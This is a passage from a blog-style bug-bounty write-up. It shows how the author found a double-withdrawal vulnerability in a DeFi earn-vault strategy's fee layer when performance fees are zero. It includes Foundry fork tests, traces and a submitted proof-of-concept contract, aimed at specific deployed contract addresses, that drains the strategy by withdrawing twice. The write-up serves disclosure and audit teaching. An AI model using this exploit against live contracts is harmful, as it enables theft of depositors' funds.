import {IERC4626} from "@openzeppelin/contracts/interfaces/IERC4626.sol";
import {SpecialWithdrawal} from "@balmy/earn-core/types/SpecialWithdrawals.sol";

import {IFeeManager, Fees} from "src/interfaces/IFeeManager.sol";

contract Experimenting is Test {
    IEarnVault internal immutable earnVault = IEarnVault(0x0990a4a641636D437Af9aa214a1A580377eF1954);
    // MorphoStrategy (mwETH) at 0x2810dD0FF090d25Ba546C921F0c4f33C176E5442 is strategy 11
    StrategyId internal immutable strategyId = StrategyId.wrap(11);

    function setUp() public {
        // Deploy EarnVault with modified code and replace code at earnVault address with it.
        // Allows to add debugging code (also disables the firewall).
        address[] memory initialPauseAdmins = new address[](0);
        EarnVault earnVaultReplacement = new EarnVault(
            IEarnStrategyRegistry(0xC0571929c21B71Fc7579ec7159B1E88A2199Bc78),
            address(this),
            initialPauseAdmins,
            IEarnNFTDescriptor(0xA21Db13B32Fe2A82D89e32BEe9A099EF9E733879)
        );
        vm.etch(address(earnVault), address(earnVaultReplacement).code);

        // Deploy MorphoStrategy with debugging modifications.
        MorphoStrategy morphoStrategyImplReplacement = new MorphoStrategy();
        vm.etch(address(0xfE02dbC93bABd8fD28c0eD6E66104Abf7b2a3B69), address(morphoStrategyImplReplacement).code);

        // Set performance fee to zero.
        IFeeManager feeManager = IFeeManager(0x7304BfD9d8410f8c181C6E9646c8AF2691608708);
        Fees memory fees = feeManager.getFees(strategyId);
        fees.performanceFee = 0;
        vm.prank(0x0D946b7Fd00c9277c558710693076a592c2be27F);
        feeManager.updateFees(strategyId, fees);
    }

    function test_withdraw() public {
        // Use an existing postion that already has rewards accrued.
        uint256 positionId = 226;
        address owner = earnVault.ownerOf(positionId);
        vm.label(owner, "POSITION_OWNER");

        // Check the owners's balance.
        (address[] memory tokens, uint256[] memory balances,,) = earnVault.position(positionId);

        // Try to withdraw the underlying deposit token from the Morpho vault.
        uint256[] memory toWithdraw = new uint256[](1);
        toWithdraw[0] = IERC4626(0xa0E430870c4604CcfC7B38Ca7845B1FF653D0ff1).convertToShares(balances[0]);
        vm.prank(owner);
        earnVault.specialWithdraw(
            positionId,
            SpecialWithdrawal.WITHDRAW_ASSET_FARM_TOKEN_BY_AMOUNT,
            toWithdraw,
            "",
            owner
        );

        // Then withdraw the remaining reward tokens from the position.
        (tokens, balances,,) = earnVault.position(positionId);
        vm.prank(owner);
        earnVault.withdraw(
            positionId,
            tokens,
            balances,
            owner
        );
    }
}

Instead of creating the position myself, this time I “hijacked” an existing position that already had rewards accrued. Etherscan can be very useful for finding existing positions by digging around in the transactions under the “Token Transfers (ERC-20)” tab of the FirewalledEarnVault contract. In the transaction details the position ID will be shown as the ERC-721 Token ID of the EARN NFT.

Executing this test results in the following output:

$ forge test --match-path test/ExperimentingV4.t.sol --match-test test_withdraw -vvvvv --fork-url http://127.0.0.1:8081 --fork-block-number 26674385
[...]
    ├─ [0] VM::prank(POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC])
    │   └─ ← [Return]
    ├─ [930867] FirewalledEarnVault::withdraw(226, [0x4200000000000000000000000000000000000006, 0xBAa5CC21fd487B8Fcc2F632f3F4E8D37262a0842, 0xA88594D404727625A9437C3f886C7643872296AE], [1, 51299196289810215 [5.129e16], 2517895679519387142 [2.517e18]], POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC])
    │   ├─ [551] EarnStrategyRegistry::getStrategy(11) [staticcall]
    │   │   └─ ← [Return] MorphoStrategy: [0x2810dD0FF090d25Ba546C921F0c4f33C176E5442]
[...]
    │   ├─ [580185] MorphoStrategy::withdraw(226, [0x4200000000000000000000000000000000000006, 0xBAa5CC21fd487B8Fcc2F632f3F4E8D37262a0842, 0xA88594D404727625A9437C3f886C7643872296AE], [1, 51299196289810215 [5.129e16], 2517895679519387142 [2.517e18]], POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC])
    │   │   ├─ [579950] MorphoStrategy::withdraw(226, [0x4200000000000000000000000000000000000006, 0xBAa5CC21fd487B8Fcc2F632f3F4E8D37262a0842, 0xA88594D404727625A9437C3f886C7643872296AE], [1, 51299196289810215 [5.129e16], 2517895679519387142 [2.517e18]], POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC]) [delegatecall]
    │   │   │   ├─ [440] GlobalEarnRegistry::getAddressOrFail(0x585fc1073b6cfa774673b8c567d17fb3595441dcb101cca207779783ece15080) [staticcall]
    │   │   │   │   └─ ← [Return] LiquidityMiningManager: [0xE7615B68BFe7664488881080DF9dD62681A781A1]
    │   │   │   ├─ [3469] LiquidityMiningManager::rewardAmount(11, ERC1967Proxy: [0xBAa5CC21fd487B8Fcc2F632f3F4E8D37262a0842]) [staticcall]
    │   │   │   │   └─ ← [Return] 0
    │   │   │   ├─ [3469] LiquidityMiningManager::rewardAmount(11, TransparentUpgradeableProxy: [0xA88594D404727625A9437C3f886C7643872296AE]) [staticcall]
    │   │   │   │   └─ ← [Return] 0
    │   │   │   ├─ [0] console::log("_fees_withdraw start") [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [440] GlobalEarnRegistry::getAddressOrFail(0x8e24cef3d118e2320bff2d4ac4e82fd5ff0dd3a6e6044ca19f91cd3b6f84750e) [staticcall]
    │   │   │   │   └─ ← [Return] FeeManager: [0x7304BfD9d8410f8c181C6E9646c8AF2691608708]
    │   │   │   ├─ [1349] FeeManager::getFees(11) [staticcall]
    │   │   │   │   └─ ← [Return] Fees({ depositFee: 0, withdrawFee: 0, performanceFee: 0, rescueFee: 500 })
    │   │   │   ├─ [0] console::log("fees.performanceFee", 0) [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [39134] ERC1967Proxy::fallback(POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], 51299196289810215 [5.129e16])
    │   │   │   │   ├─ [34339] MorphoTokenOptimism::transfer(POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], 51299196289810215 [5.129e16]) [delegatecall]
    │   │   │   │   │   ├─ emit Transfer(from: MorphoStrategy: [0x2810dD0FF090d25Ba546C921F0c4f33C176E5442], to: POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], value: 51299196289810215 [5.129e16])
    │   │   │   │   │   ├─  storage changes:
    │   │   │   │   │   │   @ 0x8aa78c749f3f6622143deef426eb6638903109924f01b11b256a441528b881a1: 0x000000000000000000000000000000000000000000000000063d8d89187be9ce → 0x00000000000000000000000000000000000000000000000005874d30345deaa7
    │   │   │   │   │   │   @ 0xbaba2fb8ef7a0793f3d614895797ffacf352f853e4acd71296173b765500e344: 0 → 0x00000000000000000000000000000000000000000000000000b64058e41dff27
    │   │   │   │   │   └─ ← [Return] true
    │   │   │   │   └─ ← [Return] true
    │   │   │   ├─ [42710] TransparentUpgradeableProxy::fallback(POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], 2517895679519387142 [2.517e18])
    │   │   │   │   ├─ [35568] xWELL::transfer(POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], 2517895679519387142 [2.517e18]) [delegatecall]
    │   │   │   │   │   ├─ emit Transfer(from: MorphoStrategy: [0x2810dD0FF090d25Ba546C921F0c4f33C176E5442], to: POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], value: 2517895679519387142 [2.517e18])
    │   │   │   │   │   ├─  storage changes:
    │   │   │   │   │   │   @ 0xa6e4cb1b9c83b7d19f73592789f5f2c0ad8dfd0fb3cd559b7d3cc3427a1161c8: 0x0000000000000000000000000000000000000000000000013bc15aaab078c165 → 0x00000000000000000000000000000000000000000000000118cffde2f93a535f
    │   │   │   │   │   │   @ 0x5ad5ba18dd41dc373bb51b0c3e4a3c6dac5e6a3ab7cc9b5bb1526d8c4fe5e0eb: 0 → 0x00000000000000000000000000000000000000000000000022f15cc7b73e6e06
    │   │   │   │   │   └─ ← [Return] true
    │   │   │   │   └─ ← [Return] true
    │   │   │   ├─ [190851] MetaMorpho::withdraw(1, POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], MorphoStrategy: [0x2810dD0FF090d25Ba546C921F0c4f33C176E5442])
[...]
    │   │   │   │   ├─ [24901] WETH9::transfer(POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], 1)
    │   │   │   │   │   ├─ emit Transfer(from: MetaMorpho: [0xa0E430870c4604CcfC7B38Ca7845B1FF653D0ff1], to: POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], value: 1)
[...]
    │   │   │   │   ├─ emit Withdraw(sender: MorphoStrategy: [0x2810dD0FF090d25Ba546C921F0c4f33C176E5442], receiver: POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], owner: MorphoStrategy: [0x2810dD0FF090d25Ba546C921F0c4f33C176E5442], assets: 1, shares: 1)
[...]
    │   │   │   │   └─ ← [Return] 1
[...]
    │   │   │   ├─ [1061] MetaMorpho::balanceOf(MorphoStrategy: [0x2810dD0FF090d25Ba546C921F0c4f33C176E5442]) [staticcall]
    │   │   │   │   └─ ← [Return] 684273170534471272 [6.842e17]
    │   │   │   ├─ [80296] MetaMorpho::previewRedeem(684273170534471272 [6.842e17]) [staticcall]
[...]
    │   │   │   ├─ [3934] ERC1967Proxy::fallback(POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], 51299196289810215 [5.129e16])
    │   │   │   │   ├─ [3639] MorphoTokenOptimism::transfer(POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], 51299196289810215 [5.129e16]) [delegatecall]
    │   │   │   │   │   ├─ emit Transfer(from: MorphoStrategy: [0x2810dD0FF090d25Ba546C921F0c4f33C176E5442], to: POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], value: 51299196289810215 [5.129e16])
    │   │   │   │   │   ├─  storage changes:
    │   │   │   │   │   │   @ 0xbaba2fb8ef7a0793f3d614895797ffacf352f853e4acd71296173b765500e344: 0x00000000000000000000000000000000000000000000000000b64058e41dff27 → 0x000000000000000000000000000000000000000000000000016c80b1c83bfe4e
    │   │   │   │   │   │   @ 0x8aa78c749f3f6622143deef426eb6638903109924f01b11b256a441528b881a1: 0x00000000000000000000000000000000000000000000000005874d30345deaa7 → 0x00000000000000000000000000000000000000000000000004d10cd7503feb80
    │   │   │   │   │   └─ ← [Return] true
    │   │   │   │   └─ ← [Return] true
    │   │   │   ├─ [5510] TransparentUpgradeableProxy::fallback(POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], 2517895679519387142 [2.517e18])
    │   │   │   │   ├─ [4868] xWELL::transfer(POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], 2517895679519387142 [2.517e18]) [delegatecall]
    │   │   │   │   │   ├─ emit Transfer(from: MorphoStrategy: [0x2810dD0FF090d25Ba546C921F0c4f33C176E5442], to: POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], value: 2517895679519387142 [2.517e18])
    │   │   │   │   │   ├─  storage changes:
    │   │   │   │   │   │   @ 0xa6e4cb1b9c83b7d19f73592789f5f2c0ad8dfd0fb3cd559b7d3cc3427a1161c8: 0x00000000000000000000000000000000000000000000000118cffde2f93a535f → 0x000000000000000000000000000000000000000000000000f5dea11b41fbe559
    │   │   │   │   │   │   @ 0x5ad5ba18dd41dc373bb51b0c3e4a3c6dac5e6a3ab7cc9b5bb1526d8c4fe5e0eb: 0x00000000000000000000000000000000000000000000000022f15cc7b73e6e06 → 0x00000000000000000000000000000000000000000000000045e2b98f6e7cdc0c
    │   │   │   │   │   └─ ← [Return] true
    │   │   │   │   └─ ← [Return] true
    │   │   │   ├─ [137012] MetaMorpho::withdraw(1, POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], MorphoStrategy: [0x2810dD0FF090d25Ba546C921F0c4f33C176E5442])
[...]
    │   │   │   │   ├─ [3001] WETH9::transfer(POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], 1)
    │   │   │   │   │   ├─ emit Transfer(from: MetaMorpho: [0xa0E430870c4604CcfC7B38Ca7845B1FF653D0ff1], to: POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], value: 1)
[...]
    │   │   │   │   ├─ emit Withdraw(sender: MorphoStrategy: [0x2810dD0FF090d25Ba546C921F0c4f33C176E5442], receiver: POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], owner: MorphoStrategy: [0x2810dD0FF090d25Ba546C921F0c4f33C176E5442], assets: 1, shares: 1)
[...]
    │   │   │   │   └─ ← [Return] 1
[...]
    │   ├─ emit PositionWithdrawn(positionId: 226, tokens: [0x4200000000000000000000000000000000000006, 0xBAa5CC21fd487B8Fcc2F632f3F4E8D37262a0842, 0xA88594D404727625A9437C3f886C7643872296AE], withdrawn: [1, 51299196289810215 [5.129e16], 2517895679519387142 [2.517e18]], recipient: POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC])
[...]
    │   └─ ← [Return] 0x00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000b64058e41dff2700000000000000000000000000000000000000000000000022f15cc7b73e6e06
    └─ ← [Return]

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 262.27ms (255.14ms CPU time)

Ran 1 test suite in 1.08s (262.27ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

There’s a big surprise hidden in this output: MorphoStrategy.withdraw calls MetaMorpho.withdraw twice and thus all assets in the position are transferred to the owner twice! Also the rewards are transferred twice.

The debug output fragments console::log("_fees_withdraw start") and console::log("fees.performanceFee", 0) already give a hint at where to look for the reason of this double withdrawal:

earn-periphery/src/strategies/layers/fees/external/ExternalFees.sol, function _fees_withdraw:

  function _fees_withdraw(
    uint256 positionId,
    address[] memory tokens,
    uint256[] memory toWithdraw,
    address recipient
  )
    internal
    override
  {
    console2.log("_fees_withdraw start");
    Fees memory fees = _getFees();
    console2.log("fees.performanceFee", fees.performanceFee);
    if (fees.performanceFee == 0) {
      _clearAllBalancesIfSet(tokens);
      _fees_underlying_withdraw(positionId, tokens, toWithdraw, recipient);
    }

    (, uint256[] memory currentBalances) = _fees_underlying_totalBalances();
    for (uint256 i; i < tokens.length; ++i) {
      console2.log("tokens", i, tokens[i]);
      console2.log("currentBalances", i, currentBalances[i]);
      console2.log("toWithdraw", i, toWithdraw[i]);
      uint256 amountToWithdraw = toWithdraw[i];
      // If there is nothing being withdrawn, we can skip fee update, since balance didn't change
      if (amountToWithdraw == 0) continue;
      address token = tokens[i];
      uint256 currentBalance = currentBalances[i];
      uint256 performanceFees = _calculateFees(token, currentBalance, fees.performanceFee);
      _storePerformanceData({
        token: token,
        // Note: there might be a small wei difference here, but we can ignore it an avoid adding it as part of the fee
        lastBalance: (currentBalance - amountToWithdraw),
        performanceFees: performanceFees,
        isSet: true
      });
    }

    _fees_underlying_withdraw(positionId, tokens, toWithdraw, recipient);
  }

This function is intended to handle the case of zero performance fees separately from the case of non-zero performance fees. However, in case of zero performance fees, there is a critical mistake: The withdraw (via _fees_underlying_withdraw) is executed twice (once in the if branch, and again at the end of the function). You can compare this with the _fees_specialWithdraw function in the same file, where the if branch returns and the rest of the function is not executed.

That is actually a critical-severity vulnerability that I just discovered coincidently by pursuing another attack idea.

As a side note, my original idea to combine a regular withdrawal and a special withdrawal turned out not to be feasible. Anyway, this would only have been a high-severity vulnerability, while being able to withdraw everything twice is a critical-severity vulnerability.

Proof of conceptDirect link to this section

In priciple, the last test contract could already serve as a PoC for the vulnerability, but submitting a clean PoC that clearly demonstrates the vulnerabilty without needing additional explanation together with your bug report goes a long way. For the sake of completeness, here is the PoC that I submitted:

// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.25;

import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import {IEarnVault} from "@balmy/earn-core/interfaces/IEarnVault.sol";
import {IEarnStrategy} from "@balmy/earn-core/interfaces/IEarnStrategy.sol";
import {StrategyId} from "@balmy/earn-core/types/StrategyId.sol";
import {INFTPermissions} from "@balmy/nft-permissions/interfaces/INFTPermissions.sol";
import {IFeeManager, Fees} from "src/interfaces/IFeeManager.sol";

interface ITOSManager {
    function assignStrategyToGroup(StrategyId strategyId, bytes32 group) external;
}

contract NoopFirewall {
    function executeCheckpoint(address, bytes4, bytes32) external {}
}

contract DoubleWithdrawWhenZeroFeesPoC is Test {
    IEarnVault internal immutable earnVault = IEarnVault(0x0990a4a641636D437Af9aa214a1A580377eF1954);
    IERC20 internal immutable usdc = IERC20(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913);
    ITOSManager internal immutable tosManager = ITOSManager(0xED8e2E9499344110e18F0c77538BfB8C426Cd433);
    IFeeManager internal immutable feeManager = IFeeManager(0x7304BfD9d8410f8c181C6E9646c8AF2691608708);
    // AaveV3Strategy at 0xA288A6bDDEbEb82a4b938D4Be1A16f27c000681d is strategyId 1
    IEarnStrategy internal immutable strategy = IEarnStrategy(0xA288A6bDDEbEb82a4b938D4Be1A16f27c000681d);
    StrategyId internal immutable strategyId = StrategyId.wrap(1);

    address internal immutable userA = address(0xAAAAAAAA);

    function setUp() public {
        // Replace the FORTA firewall of the FirewalledEarnVault with a "no-op" firewall to avoid having to get attestations for the PoC.
        NoopFirewall noopFirewall = new NoopFirewall();
        vm.store(
            address(earnVault),
            0x056e02eadf378bb204991810c69f5fd30d0c5daa999b3432711954755cff9a00,
            bytes32(uint256(uint160(address(noopFirewall))))
        );

        // Disable TOS checking to avoid having to attach the signed TOS when creating the position.
        vm.prank(0x0D946b7Fd00c9277c558710693076a592c2be27F);
        tosManager.assignStrategyToGroup(strategyId, bytes32(0));

        // Set strategy performance fees to 0.
        Fees memory fees = feeManager.getFees(strategyId);
        fees.performanceFee = 0;
        vm.prank(0x0D946b7Fd00c9277c558710693076a592c2be27F);
        feeManager.updateFees(strategyId, fees);
    }

    // Note: Outputs correspond to the state at block 26674385.
    function test_double_withdraw() public {
        INFTPermissions.PermissionSet[] memory permissions = new INFTPermissions.PermissionSet[](0);
        bytes[] memory strategyValidationDataArray = new bytes[](2);
        // To be validated by TOSManager (0xed8e2e9499344110e18f0c77538bfb8c426cd433)
        strategyValidationDataArray[0] = "";
        // To be validated by SignatureBasedWhitelistManager (0xe1bf5a5446b5cced4d7d10ad26533d0a1af8932a)
        strategyValidationDataArray[1] = "";

        // Get the current total balance in the strategy.
        (address[] memory stratTokens, uint256[] memory stratBalances) = strategy.totalBalances();
        // Output:
        // Total strategy balance before for token 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913 334562119
        for (uint256 i; i < stratTokens.length; i++) {
            console2.log("Total strategy balance before for token", stratTokens[i], stratBalances[i]);
        }

        // Give test user tokens to deposit. Here we're "stealing" them.
        // The PoC assumes that the user will be able to get USDC from somewhere (e.g. buying it or doing a flash loan).
        vm.prank(0x0B0A5886664376F59C351ba3f598C8A8B4D0A6f3);
        usdc.transfer(userA, stratBalances[0]);

        // Output: Initial user asset balance 334562119
        console2.log("Initial user asset balance", usdc.balanceOf(userA));

        vm.startPrank(userA);

        // Create a position in the AaveV3Strategy.
        usdc.approve(address(earnVault), usdc.balanceOf(userA));
        (uint256 positionId, ) = earnVault.createPosition(
            strategyId,
            address(usdc),
            usdc.balanceOf(userA),
            userA,
            permissions,
            abi.encode(strategyValidationDataArray),
            ""
        );

        // Check the user's balance.
        (address[] memory tokens, uint256[] memory balances,,) = earnVault.position(positionId);
        // Output:
        // User asset balance after deposit 0
        // User vault balance after deposit for 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913 334562118
        // Vault balance is 1 wei less due to rounding.
        console2.log("User asset balance after deposit", usdc.balanceOf(userA));
        for (uint256 i; i < tokens.length; i++) {
            console2.log("User vault balance after deposit for", tokens[i], balances[i]);
        }

        // Withdraw the user's full position.
        earnVault.withdraw(
            positionId,
            tokens,
            balances,
            userA
        );

        // Check the user's balance.
        (tokens, balances,,) = earnVault.position(positionId);

        // Output:
        // User asset balance after withdraw 669124236
        // User vault balance after withdraw for 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913 0
        // The user got twice the deposit (minus 2 wei due to rounding) back, because the strategy executed the withdraw from the Aave pool twice, but the EarnVault only registered the withdraw amount once.
        console2.log("User asset balance after withdraw", usdc.balanceOf(userA));
        for (uint256 i; i < tokens.length; i++) {
            console2.log("User vault balance after withdraw for", tokens[i], balances[i]);
        }

        // Get the total balance in the strategy after the attack.
        (stratTokens, stratBalances) = strategy.totalBalances();
        // Output:
        // Total strategy balance after for token 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913 2
        for (uint256 i; i < stratTokens.length; i++) {
            console2.log("Total strategy balance after for token", stratTokens[i], stratBalances[i]);
        }
    }
}

Executing the PoC leads to the following output:

$ forge test --match-path test/poc/DoubleWithdrawWhenZeroFeesPoC.t.sol --match-test test_double_withdraw -vv --fork-url http://127.0.0.1:8081 --fork-block-number 26674385
No files changed, compilation skipped

Ran 1 test for test/poc/DoubleWithdrawWhenZeroFeesPoC.t.sol:DoubleWithdrawWhenZeroFeesPoC
[PASS] test_double_withdraw() (gas: 750966)
Logs:
  Total strategy balance before for token 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913 334562119
  Initial user asset balance 334562119
  User asset balance after deposit 0
  User vault balance after deposit for 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913 334562118
  User asset balance after withdraw 669124236
  User vault balance after withdraw for 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913 0
  Total strategy balance after for token 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913 2

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.84ms (7.64ms CPU time)

Ran 1 test suite in 1.45s (8.84ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

You can see that the user stole assets from the protocol directly from the logs without needing to go through the traces.

Closing thoughtsDirect link to this section

There are a couple of takeaways from this discovery:

  • This vulnerability could have been prevented by ensuring that the invariant “a user must not be able to withdraw more than they have in their account” is enforced on every withdrawal. Check out the FREI-PI pattern [https://www.nascent.xyz/idea/youre-writing-require-statements-wrong] to learn more about enforcing protocol-level invariants.
  • If you are auditing a code base and see a case like this where important invariants are neither implicitly nor explicitly enforced (like in this case where the contract executing the payout doesn’t know how much the user has in their account), put extra effort into trying to break them.
  • Especially with complex code like deep inheritance hierarchies, there’s always a chance to discover bugs that have been overlooked in previous audits and have been missed by unit tests.

If you have any comments or questions about this blog post, feel free to contact me on Twitter (@stackachu) or send me an e-mail to (click to reveal email address, needs JavaScript).